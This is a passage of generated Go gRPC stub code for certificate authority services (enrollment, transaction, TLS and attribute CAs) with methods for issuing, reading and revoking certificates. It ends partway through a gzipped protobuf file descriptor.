HandlerType: (*ECAAServer)(nil),
Methods: []grpc.MethodDesc{
{
MethodName: "RegisterUser",
Handler: _ECAA_RegisterUser_Handler,
},
{
MethodName: "ReadUserSet",
Handler: _ECAA_ReadUserSet_Handler,
},
{
MethodName: "RevokeCertificate",
Handler: _ECAA_RevokeCertificate_Handler,
},
{
MethodName: "PublishCRL",
Handler: _ECAA_PublishCRL_Handler,
},
},
Streams: []grpc.StreamDesc{},
Metadata: fileDescriptor0,
}
// Client API for TCAP service
type TCAPClient interface {
ReadCACertificate(ctx context.Context, in *Empty, opts ...grpc.CallOption) (*Cert, error)
CreateCertificateSet(ctx context.Context, in *TCertCreateSetReq, opts ...grpc.CallOption) (*TCertCreateSetResp, error)
RevokeCertificate(ctx context.Context, in *TCertRevokeReq, opts ...grpc.CallOption) (*CAStatus, error)
RevokeCertificateSet(ctx context.Context, in *TCertRevokeSetReq, opts ...grpc.CallOption) (*CAStatus, error)
}
type tCAPClient struct {
cc *grpc.ClientConn
}
func NewTCAPClient(cc *grpc.ClientConn) TCAPClient {
return &tCAPClient{cc}
}
func (c *tCAPClient) ReadCACertificate(ctx context.Context, in *Empty, opts ...grpc.CallOption) (*Cert, error) {
out := new(Cert)
err := grpc.Invoke(ctx, "/protos.TCAP/ReadCACertificate", in, out, c.cc, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *tCAPClient) CreateCertificateSet(ctx context.Context, in *TCertCreateSetReq, opts ...grpc.CallOption) (*TCertCreateSetResp, error) {
out := new(TCertCreateSetResp)
err := grpc.Invoke(ctx, "/protos.TCAP/CreateCertificateSet", in, out, c.cc, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *tCAPClient) RevokeCertificate(ctx context.Context, in *TCertRevokeReq, opts ...grpc.CallOption) (*CAStatus, error) {
out := new(CAStatus)
err := grpc.Invoke(ctx, "/protos.TCAP/RevokeCertificate", in, out, c.cc, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *tCAPClient) RevokeCertificateSet(ctx context.Context, in *TCertRevokeSetReq, opts ...grpc.CallOption) (*CAStatus, error) {
out := new(CAStatus)
err := grpc.Invoke(ctx, "/protos.TCAP/RevokeCertificateSet", in, out, c.cc, opts...)
if err != nil {
return nil, err
}
return out, nil
}
// Server API for TCAP service
type TCAPServer interface {
ReadCACertificate(context.Context, *Empty) (*Cert, error)
CreateCertificateSet(context.Context, *TCertCreateSetReq) (*TCertCreateSetResp, error)
RevokeCertificate(context.Context, *TCertRevokeReq) (*CAStatus, error)
RevokeCertificateSet(context.Context, *TCertRevokeSetReq) (*CAStatus, error)
}
func RegisterTCAPServer(s *grpc.Server, srv TCAPServer) {
s.RegisterService(&_TCAP_serviceDesc, srv)
}
func _TCAP_ReadCACertificate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(Empty)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(TCAPServer).ReadCACertificate(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/protos.TCAP/ReadCACertificate",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(TCAPServer).ReadCACertificate(ctx, req.(*Empty))
}
return interceptor(ctx, in, info, handler)
}
func _TCAP_CreateCertificateSet_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(TCertCreateSetReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(TCAPServer).CreateCertificateSet(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/protos.TCAP/CreateCertificateSet",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(TCAPServer).CreateCertificateSet(ctx, req.(*TCertCreateSetReq))
}
return interceptor(ctx, in, info, handler)
}
func _TCAP_RevokeCertificate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(TCertRevokeReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(TCAPServer).RevokeCertificate(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/protos.TCAP/RevokeCertificate",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(TCAPServer).RevokeCertificate(ctx, req.(*TCertRevokeReq))
}
return interceptor(ctx, in, info, handler)
}
func _TCAP_RevokeCertificateSet_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(TCertRevokeSetReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(TCAPServer).RevokeCertificateSet(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/protos.TCAP/RevokeCertificateSet",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(TCAPServer).RevokeCertificateSet(ctx, req.(*TCertRevokeSetReq))
}
return interceptor(ctx, in, info, handler)
}
var _TCAP_serviceDesc = grpc.ServiceDesc{
ServiceName: "protos.TCAP",
HandlerType: (*TCAPServer)(nil),
Methods: []grpc.MethodDesc{
{
MethodName: "ReadCACertificate",
Handler: _TCAP_ReadCACertificate_Handler,
},
{
MethodName: "CreateCertificateSet",
Handler: _TCAP_CreateCertificateSet_Handler,
},
{
MethodName: "RevokeCertificate",
Handler: _TCAP_RevokeCertificate_Handler,
},
{
MethodName: "RevokeCertificateSet",
Handler: _TCAP_RevokeCertificateSet_Handler,
},
},
Streams: []grpc.StreamDesc{},
Metadata: fileDescriptor0,
}
// Client API for TCAA service
type TCAAClient interface {
RevokeCertificate(ctx context.Context, in *TCertRevokeReq, opts ...grpc.CallOption) (*CAStatus, error)
RevokeCertificateSet(ctx context.Context, in *TCertRevokeSetReq, opts ...grpc.CallOption) (*CAStatus, error)
PublishCRL(ctx context.Context, in *TCertCRLReq, opts ...grpc.CallOption) (*CAStatus, error)
}
type tCAAClient struct {
cc *grpc.ClientConn
}
func NewTCAAClient(cc *grpc.ClientConn) TCAAClient {
return &tCAAClient{cc}
}
func (c *tCAAClient) RevokeCertificate(ctx context.Context, in *TCertRevokeReq, opts ...grpc.CallOption) (*CAStatus, error) {
out := new(CAStatus)
err := grpc.Invoke(ctx, "/protos.TCAA/RevokeCertificate", in, out, c.cc, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *tCAAClient) RevokeCertificateSet(ctx context.Context, in *TCertRevokeSetReq, opts ...grpc.CallOption) (*CAStatus, error) {
out := new(CAStatus)
err := grpc.Invoke(ctx, "/protos.TCAA/RevokeCertificateSet", in, out, c.cc, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *tCAAClient) PublishCRL(ctx context.Context, in *TCertCRLReq, opts ...grpc.CallOption) (*CAStatus, error) {
out := new(CAStatus)
err := grpc.Invoke(ctx, "/protos.TCAA/PublishCRL", in, out, c.cc, opts...)
if err != nil {
return nil, err
}
return out, nil
}
// Server API for TCAA service
type TCAAServer interface {
RevokeCertificate(context.Context, *TCertRevokeReq) (*CAStatus, error)
RevokeCertificateSet(context.Context, *TCertRevokeSetReq) (*CAStatus, error)
PublishCRL(context.Context, *TCertCRLReq) (*CAStatus, error)
}
func RegisterTCAAServer(s *grpc.Server, srv TCAAServer) {
s.RegisterService(&_TCAA_serviceDesc, srv)
}
func _TCAA_RevokeCertificate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(TCertRevokeReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(TCAAServer).RevokeCertificate(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/protos.TCAA/RevokeCertificate",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(TCAAServer).RevokeCertificate(ctx, req.(*TCertRevokeReq))
}
return interceptor(ctx, in, info, handler)
}
func _TCAA_RevokeCertificateSet_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(TCertRevokeSetReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(TCAAServer).RevokeCertificateSet(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/protos.TCAA/RevokeCertificateSet",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(TCAAServer).RevokeCertificateSet(ctx, req.(*TCertRevokeSetReq))
}
return interceptor(ctx, in, info, handler)
}
func _TCAA_PublishCRL_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(TCertCRLReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(TCAAServer).PublishCRL(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/protos.TCAA/PublishCRL",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(TCAAServer).PublishCRL(ctx, req.(*TCertCRLReq))
}
return interceptor(ctx, in, info, handler)
}
var _TCAA_serviceDesc = grpc.ServiceDesc{
ServiceName: "protos.TCAA",
HandlerType: (*TCAAServer)(nil),
Methods: []grpc.MethodDesc{
{
MethodName: "RevokeCertificate",
Handler: _TCAA_RevokeCertificate_Handler,
},
{
MethodName: "RevokeCertificateSet",
Handler: _TCAA_RevokeCertificateSet_Handler,
},
{
MethodName: "PublishCRL",
Handler: _TCAA_PublishCRL_Handler,
},
},
Streams: []grpc.StreamDesc{},
Metadata: fileDescriptor0,
}
// Client API for TLSCAP service
type TLSCAPClient interface {
ReadCACertificate(ctx context.Context, in *Empty, opts ...grpc.CallOption) (*Cert, error)
CreateCertificate(ctx context.Context, in *TLSCertCreateReq, opts ...grpc.CallOption) (*TLSCertCreateResp, error)
ReadCertificate(ctx context.Context, in *TLSCertReadReq, opts ...grpc.CallOption) (*Cert, error)
RevokeCertificate(ctx context.Context, in *TLSCertRevokeReq, opts ...grpc.CallOption) (*CAStatus, error)
}
type tLSCAPClient struct {
cc *grpc.ClientConn
}
func NewTLSCAPClient(cc *grpc.ClientConn) TLSCAPClient {
return &tLSCAPClient{cc}
}
func (c *tLSCAPClient) ReadCACertificate(ctx context.Context, in *Empty, opts ...grpc.CallOption) (*Cert, error) {
out := new(Cert)
err := grpc.Invoke(ctx, "/protos.TLSCAP/ReadCACertificate", in, out, c.cc, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *tLSCAPClient) CreateCertificate(ctx context.Context, in *TLSCertCreateReq, opts ...grpc.CallOption) (*TLSCertCreateResp, error) {
out := new(TLSCertCreateResp)
err := grpc.Invoke(ctx, "/protos.TLSCAP/CreateCertificate", in, out, c.cc, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *tLSCAPClient) ReadCertificate(ctx context.Context, in *TLSCertReadReq, opts ...grpc.CallOption) (*Cert, error) {
out := new(Cert)
err := grpc.Invoke(ctx, "/protos.TLSCAP/ReadCertificate", in, out, c.cc, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *tLSCAPClient) RevokeCertificate(ctx context.Context, in *TLSCertRevokeReq, opts ...grpc.CallOption) (*CAStatus, error) {
out := new(CAStatus)
err := grpc.Invoke(ctx, "/protos.TLSCAP/RevokeCertificate", in, out, c.cc, opts...)
if err != nil {
return nil, err
}
return out, nil
}
// Server API for TLSCAP service
type TLSCAPServer interface {
ReadCACertificate(context.Context, *Empty) (*Cert, error)
CreateCertificate(context.Context, *TLSCertCreateReq) (*TLSCertCreateResp, error)
ReadCertificate(context.Context, *TLSCertReadReq) (*Cert, error)
RevokeCertificate(context.Context, *TLSCertRevokeReq) (*CAStatus, error)
}
func RegisterTLSCAPServer(s *grpc.Server, srv TLSCAPServer) {
s.RegisterService(&_TLSCAP_serviceDesc, srv)
}
func _TLSCAP_ReadCACertificate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(Empty)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(TLSCAPServer).ReadCACertificate(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/protos.TLSCAP/ReadCACertificate",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(TLSCAPServer).ReadCACertificate(ctx, req.(*Empty))
}
return interceptor(ctx, in, info, handler)
}
func _TLSCAP_CreateCertificate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(TLSCertCreateReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(TLSCAPServer).CreateCertificate(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/protos.TLSCAP/CreateCertificate",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(TLSCAPServer).CreateCertificate(ctx, req.(*TLSCertCreateReq))
}
return interceptor(ctx, in, info, handler)
}
func _TLSCAP_ReadCertificate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(TLSCertReadReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(TLSCAPServer).ReadCertificate(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/protos.TLSCAP/ReadCertificate",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(TLSCAPServer).ReadCertificate(ctx, req.(*TLSCertReadReq))
}
return interceptor(ctx, in, info, handler)
}
func _TLSCAP_RevokeCertificate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(TLSCertRevokeReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(TLSCAPServer).RevokeCertificate(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/protos.TLSCAP/RevokeCertificate",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(TLSCAPServer).RevokeCertificate(ctx, req.(*TLSCertRevokeReq))
}
return interceptor(ctx, in, info, handler)
}
var _TLSCAP_serviceDesc = grpc.ServiceDesc{
ServiceName: "protos.TLSCAP",
HandlerType: (*TLSCAPServer)(nil),
Methods: []grpc.MethodDesc{
{
MethodName: "ReadCACertificate",
Handler: _TLSCAP_ReadCACertificate_Handler,
},
{
MethodName: "CreateCertificate",
Handler: _TLSCAP_CreateCertificate_Handler,
},
{
MethodName: "ReadCertificate",
Handler: _TLSCAP_ReadCertificate_Handler,
},
{
MethodName: "RevokeCertificate",
Handler: _TLSCAP_RevokeCertificate_Handler,
},
},
Streams: []grpc.StreamDesc{},
Metadata: fileDescriptor0,
}
// Client API for TLSCAA service
type TLSCAAClient interface {
RevokeCertificate(ctx context.Context, in *TLSCertRevokeReq, opts ...grpc.CallOption) (*CAStatus, error)
}
type tLSCAAClient struct {
cc *grpc.ClientConn
}
func NewTLSCAAClient(cc *grpc.ClientConn) TLSCAAClient {
return &tLSCAAClient{cc}
}
func (c *tLSCAAClient) RevokeCertificate(ctx context.Context, in *TLSCertRevokeReq, opts ...grpc.CallOption) (*CAStatus, error) {
out := new(CAStatus)
err := grpc.Invoke(ctx, "/protos.TLSCAA/RevokeCertificate", in, out, c.cc, opts...)
if err != nil {
return nil, err
}
return out, nil
}
// Server API for TLSCAA service
type TLSCAAServer interface {
RevokeCertificate(context.Context, *TLSCertRevokeReq) (*CAStatus, error)
}
func RegisterTLSCAAServer(s *grpc.Server, srv TLSCAAServer) {
s.RegisterService(&_TLSCAA_serviceDesc, srv)
}
func _TLSCAA_RevokeCertificate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(TLSCertRevokeReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(TLSCAAServer).RevokeCertificate(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/protos.TLSCAA/RevokeCertificate",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(TLSCAAServer).RevokeCertificate(ctx, req.(*TLSCertRevokeReq))
}
return interceptor(ctx, in, info, handler)
}
var _TLSCAA_serviceDesc = grpc.ServiceDesc{
ServiceName: "protos.TLSCAA",
HandlerType: (*TLSCAAServer)(nil),
Methods: []grpc.MethodDesc{
{
MethodName: "RevokeCertificate",
Handler: _TLSCAA_RevokeCertificate_Handler,
},
},
Streams: []grpc.StreamDesc{},
Metadata: fileDescriptor0,
}
// Client API for ACAP service
type ACAPClient interface {
ReadCACertificate(ctx context.Context, in *Empty, opts ...grpc.CallOption) (*Cert, error)
RequestAttributes(ctx context.Context, in *ACAAttrReq, opts ...grpc.CallOption) (*ACAAttrResp, error)
FetchAttributes(ctx context.Context, in *ACAFetchAttrReq, opts ...grpc.CallOption) (*ACAFetchAttrResp, error)
}
type aCAPClient struct {
cc *grpc.ClientConn
}
func NewACAPClient(cc *grpc.ClientConn) ACAPClient {
return &aCAPClient{cc}
}
func (c *aCAPClient) ReadCACertificate(ctx context.Context, in *Empty, opts ...grpc.CallOption) (*Cert, error) {
out := new(Cert)
err := grpc.Invoke(ctx, "/protos.ACAP/ReadCACertificate", in, out, c.cc, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *aCAPClient) RequestAttributes(ctx context.Context, in *ACAAttrReq, opts ...grpc.CallOption) (*ACAAttrResp, error) {
out := new(ACAAttrResp)
err := grpc.Invoke(ctx, "/protos.ACAP/RequestAttributes", in, out, c.cc, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *aCAPClient) FetchAttributes(ctx context.Context, in *ACAFetchAttrReq, opts ...grpc.CallOption) (*ACAFetchAttrResp, error) {
out := new(ACAFetchAttrResp)
err := grpc.Invoke(ctx, "/protos.ACAP/FetchAttributes", in, out, c.cc, opts...)
if err != nil {
return nil, err
}
return out, nil
}
// Server API for ACAP service
type ACAPServer interface {
ReadCACertificate(context.Context, *Empty) (*Cert, error)
RequestAttributes(context.Context, *ACAAttrReq) (*ACAAttrResp, error)
FetchAttributes(context.Context, *ACAFetchAttrReq) (*ACAFetchAttrResp, error)
}
func RegisterACAPServer(s *grpc.Server, srv ACAPServer) {
s.RegisterService(&_ACAP_serviceDesc, srv)
}
func _ACAP_ReadCACertificate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(Empty)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ACAPServer).ReadCACertificate(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/protos.ACAP/ReadCACertificate",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ACAPServer).ReadCACertificate(ctx, req.(*Empty))
}
return interceptor(ctx, in, info, handler)
}
func _ACAP_RequestAttributes_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(ACAAttrReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ACAPServer).RequestAttributes(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/protos.ACAP/RequestAttributes",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ACAPServer).RequestAttributes(ctx, req.(*ACAAttrReq))
}
return interceptor(ctx, in, info, handler)
}
func _ACAP_FetchAttributes_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(ACAFetchAttrReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ACAPServer).FetchAttributes(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/protos.ACAP/FetchAttributes",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ACAPServer).FetchAttributes(ctx, req.(*ACAFetchAttrReq))
}
return interceptor(ctx, in, info, handler)
}
var _ACAP_serviceDesc = grpc.ServiceDesc{
ServiceName: "protos.ACAP",
HandlerType: (*ACAPServer)(nil),
Methods: []grpc.MethodDesc{
{
MethodName: "ReadCACertificate",
Handler: _ACAP_ReadCACertificate_Handler,
},
{
MethodName: "RequestAttributes",
Handler: _ACAP_RequestAttributes_Handler,
},
{
MethodName: "FetchAttributes",
Handler: _ACAP_FetchAttributes_Handler,
},
},
Streams: []grpc.StreamDesc{},
Metadata: fileDescriptor0,
}
func init() { proto.RegisterFile("ca.proto", fileDescriptor0) }
var fileDescriptor0 = []byte{
// 1818 bytes of a gzipped FileDescriptorProto
0x1f, 0x8b, 0x08, 0x00, 0x00, 0x09, 0x6e, 0x88, 0x02, 0xff, 0xd4, 0x59, 0x4f, 0x6f, 0xdb, 0xc6,
0x12, 0x7f, 0x14, 0x25, 0x5b, 0x1a, 0xc9, 0x32, 0xbd, 0x76, 0x62, 0x45, 0x0f, 0x78, 0x09, 0x98,
0x97, 0xbc, 0xbc, 0xa0, 0xb5, 0x53, 0xbb, 0x48, 0x8b, 0xa6, 0x41, 0xc1, 0xc8, 0x74, 0xa3, 0x46,
0x96, 0x5c, 0x8a, 0x4a, 0x7b, 0x13, 0x64, 0x9b, 0xb6, 0x09, 0xcb, 0x92, 0x4c, 0x52, 0x01, 0x84,
0xdc, 0x0b, 0xb4, 0x05, 0x7a, 0xe8, 0x77, 0x28, 0x50, 0xf4, 0x1b, 0x14, 0x28, 0xd0, 0x6b, 0xff,
0x24, 0x40, 0x2f, 0x3d, 0xf6, 0x5c, 0xa0, 0xa7, 0x7e, 0x82, 0xa6, 0xb3, 0xcb, 0x25, 0x45, 0x52,
0x7f, 0xcc, 0x38, 0x2e, 0xd2, 0x1e, 0x0c, 0x2d, 0x77, 0x66, 0x77, 0x67, 0x7e, 0x33, 0x3b, 0x7f,
0xd6, 0x90, 0xde, 0x6d, 0xad, 0xf4, 0xac, 0xae, 0xd3, 0x25, 0x33, 0xec, 0xc7, 0x2e, 0x5e, 0x3e,
0xe8, 0x76, 0x0f, 0xda, 0xc6, 0x2a, 0xfb, 0xdc, 0xe9, 0xef, 0xaf, 0x3a, 0xe6, 0xb1, 0x61, 0x3b,
0xad, 0xe3, 0x9e, 0xcb, 0x28, 0x1f, 0x42, 0xba, 0xa4, 0xd4, 0x9d, 0x96, 0xd3, 0xb7, 0xc9, 0x3a,
0xcc, 0xd8, 0x6c, 0x54, 0x10, 0xae, 0x08, 0x37, 0xf2, 0x6b, 0xff, 0x76, 0x79, 0xec, 0x15, 0x8f,
0x63, 0xc5, 0xfd, 0x29, 0x75, 0xf7, 0x0c, 0x8d, 0xb3, 0xca, 0xff, 0x03, 0x18, 0xce, 0x92, 0x19,
0x48, 0xd4, 0x1e, 0x48, 0xff, 0x22, 0x0b, 0x30, 0xd7, 0xa8, 0x3e, 0xa8, 0xd6, 0x3e, 0xa8, 0x36,
0x55, 0x4d, 0xab, 0x69, 0x92, 0x20, 0xcf, 0x42, 0x4a, 0x3d, 0xee, 0x39, 0x03, 0xb9, 0x08, 0xe9,
0xf2, 0x9e, 0xd1, 0x71, 0x4c, 0x67, 0x40, 0xf2, 0x90, 0x30, 0xf7, 0xd8, 0x71, 0x19, 0x0d, 0x47,
0xf2, 0x25, 0x48, 0xe9, 0xdd, 0x23, 0xa3, 0x43, 0x24, 0x10, 0x9d, 0xee, 0x11, 0xa3, 0xe4, 0x34,
0x3a, 0xc4, 0x65, 0xc9, 0xfb, 0x2d, 0xfb, 0x90, 0x10, 0x48, 0x1e, 0xe2, 0x2f, 0x27, 0xb1, 0xb1,
0xac, 0x42, 0x66, 0xbb, 0xbf, 0xd3, 0x36, 0x77, 0x1f, 0x18, 0x03, 0x72, 0x1d, 0x92, 0xce, 0xa0,
0x67, 0x70, 0x25, 0x88, 0xaf, 0x84, 0x35, 0xe8, 0x39, 0x5d, 0x1d, 0x29, 0x1a, 0xa3, 0xd3, 0x23,
0x8e, 0x8c, 0x41, 0x21, 0xe1, 0x1e, 0x81, 0x43, 0x79, 0x13, 0x60, 0xdb, 0x32, 0x1f, 0xb5, 0x1c,
0xe3, 0xc5, 0xf6, 0xa9, 0x41, 0xa6, 0x6e, 0x1e, 0x74, 0x10, 0x15, 0xcb, 0x88, 0xbd, 0x4d, 0x0e,
0x04, 0x8b, 0x6f, 0x22, 0x58, 0xf4, 0xcb, 0x2e, 0x88, 0xee, 0x97, 0x2d, 0x9b, 0x90, 0xd1, 0x8c,
0x03, 0xd3, 0x76, 0xac, 0x96, 0x45, 0xae, 0xf8, 0x98, 0x65, 0xd7, 0x24, 0x6f, 0x3b, 0x0f, 0x51,
0x8a, 0x22, 0x59, 0x82, 0x94, 0xd5, 0x6d, 0x1b, 0x36, 0x6e, 0x27, 0x22, 0xb0, 0xee, 0x07, 0xf9,
0x2f, 0xcc, 0xed, 0x19, 0x6d, 0xe3, 0x00, 0xd5, 0xd3, 0x18, 0x55, 0x64, 0xd4, 0xf0, 0xa4, 0xfc,
0x54, 0x80, 0x79, 0xf7, 0x2c, 0xc3, 0x6a, 0xd8, 0x86, 0xa5, 0x19, 0x27, 0x31, 0x4e, 0xbc, 0x02,
0x49, 0x7a, 0x08, 0x93, 0x3f, 0xbf, 0x96, 0xf3, 0x78, 0xe8, 0x96, 0x1a, 0xa3, 0x20, 0x47, 0xb6,
0xb5, 0xbf, 0x6f, 0xb6, 0xcd, 0x96, 0x63, 0x76, 0x3b, 0x85, 0x24, 0x33, 0x79, 0x70, 0x8a, 0xac,
0x42, 0xc6, 0xf2, 0x94, 0x2c, 0xa4, 0xd8, 0x61, 0x0b, 0xfe, 0x46, 0x1e, 0x41, 0x1b, 0xf2, 0x90,
0xab, 0x20, 0xda, 0xe6, 0x41, 0x61, 0x26, 0xcc, 0xea, 0x23, 0xaf, 0x51, 0xaa, 0xfc, 0x18, 0xf2,
0x9a, 0xd1, 0xda, 0xa3, 0xaa, 0xd4, 0x0d, 0x87, 0x6a, 0x23, 0x83, 0x68, 0x19, 0x27, 0x13, 0xd5,
0xa1, 0xc4, 0x18, 0xfa, 0xf0, 0xc3, 0xc5, 0xa9, 0x87, 0xbf, 0x07, 0x49, 0x7a, 0xf0, 0x79, 0x00,
0x28, 0xbf, 0x0a, 0xb3, 0x5c, 0x09, 0xd4, 0x20, 0xd5, 0xc7, 0x21, 0xbd, 0xa7, 0x22, 0xee, 0xe8,
0x73, 0x33, 0x7b, 0xb9, 0x24, 0xf9, 0x77, 0x01, 0xf2, 0x6a, 0xc9, 0xb0, 0x9c, 0x92, 0x65, 0x50,
0xe3, 0xa2, 0x52, 0x37, 0x21, 0xe1, 0xd8, 0x5c, 0x8a, 0xe2, 0x8a, 0x1b, 0x19, 0x56, 0xbc, 0xc8,
0xb0, 0xa2, 0x7b, 0x91, 0x41, 0x43, 0x2e, 0x2e, 0x71, 0x62, 0x8a, 0xc4, 0x97, 0xdd, 0x1b, 0xea,
0x02, 0x30, 0xe7, 0xb1, 0xb0, 0xdb, 0xcb, 0x2e, 0x2c, 0xb9, 0x06, 0x49, 0xc4, 0xc0, 0x35, 0x75,
0x00, 0x22, 0xff, 0xa2, 0x6a, 0x8c, 0x4c, 0x81, 0x34, 0x3a, 0xbb, 0x51, 0x83, 0x0f, 0xb9, 0x28,
0x35, 0x9e, 0xa9, 0x7f, 0x46, 0xd7, 0x0d, 0xa9, 0x6c, 0xf7, 0xf0, 0xf6, 0xa5, 0x76, 0x71, 0xc6,
0x8e, 0x82, 0x4f, 0xd9, 0xb6, 0x5b, 0x26, 0xc2, 0xc5, 0xc8, 0x78, 0x40, 0x6a, 0xf7, 0xb0, 0x65,
0x76, 0xb8, 0xca, 0x11, 0x7d, 0x5c, 0x1a, 0x29, 0xc0, 0x6c, 0xef, 0xc8, 0x65, 0x4b, 0xb1, 0xab,
0xe9, 0x7d, 0x9e, 0x0e, 0xc6, 0x5b, 0x90, 0xdd, 0x37, 0x9c, 0xdd, 0x43, 0x14, 0xaa, 0xdf, 0x76,
0x38, 0x26, 0x05, 0x8f, 0x71, 0x93, 0x92, 0x14, 0xc7, 0xb1, 0x6c, 0x97, 0xae, 0x05, 0x99, 0xe5,
0x5b, 0x90, 0x63, 0x6a, 0x51, 0x3f, 0x8e, 0x75, 0x1d, 0xe5, 0x01, 0xb7, 0xbd, 0x66, 0x3c, 0x42,
0x11, 0x62, 0x5f, 0x61, 0x0a, 0x05, 0x07, 0x20, 0x17, 0x04, 0x4a, 0x63, 0x94, 0x78, 0x2e, 0xaf,
0x43, 0xd6, 0xb5, 0x81, 0x56, 0x89, 0x77, 0x2e, 0xdf, 0x35, 0x31, 0x75, 0xd7, 0x2f, 0xd1, 0x9b,
0xf5, 0xbf, 0xd2, 0x9b, 0x51, 0x8a, 0x5e, 0x7f, 0x27, 0xaa, 0x5b, 0xc0, 0x0b, 0x91, 0xea, 0x89,
0x9a, 0x9c, 0x2a, 0xea, 0x3a, 0xcc, 0xeb, 0x11, 0x27, 0xf4, 0xa0, 0x15, 0x26, 0x41, 0x2b, 0xff,
0x24, 0xc0, 0x42, 0x60, 0x15, 0x8f, 0x54, 0xe7, 0xab, 0x22, 0xe6, 0xa9, 0x4e, 0xff, 0x98, 0xa9,
0x38, 0xa7, 0xd1, 0x21, 0xb9, 0x0d, 0xd0, 0x42, 0xa7, 0x33, 0x77, 0xfa, 0x0e, 0xa6, 0x83, 0x24,
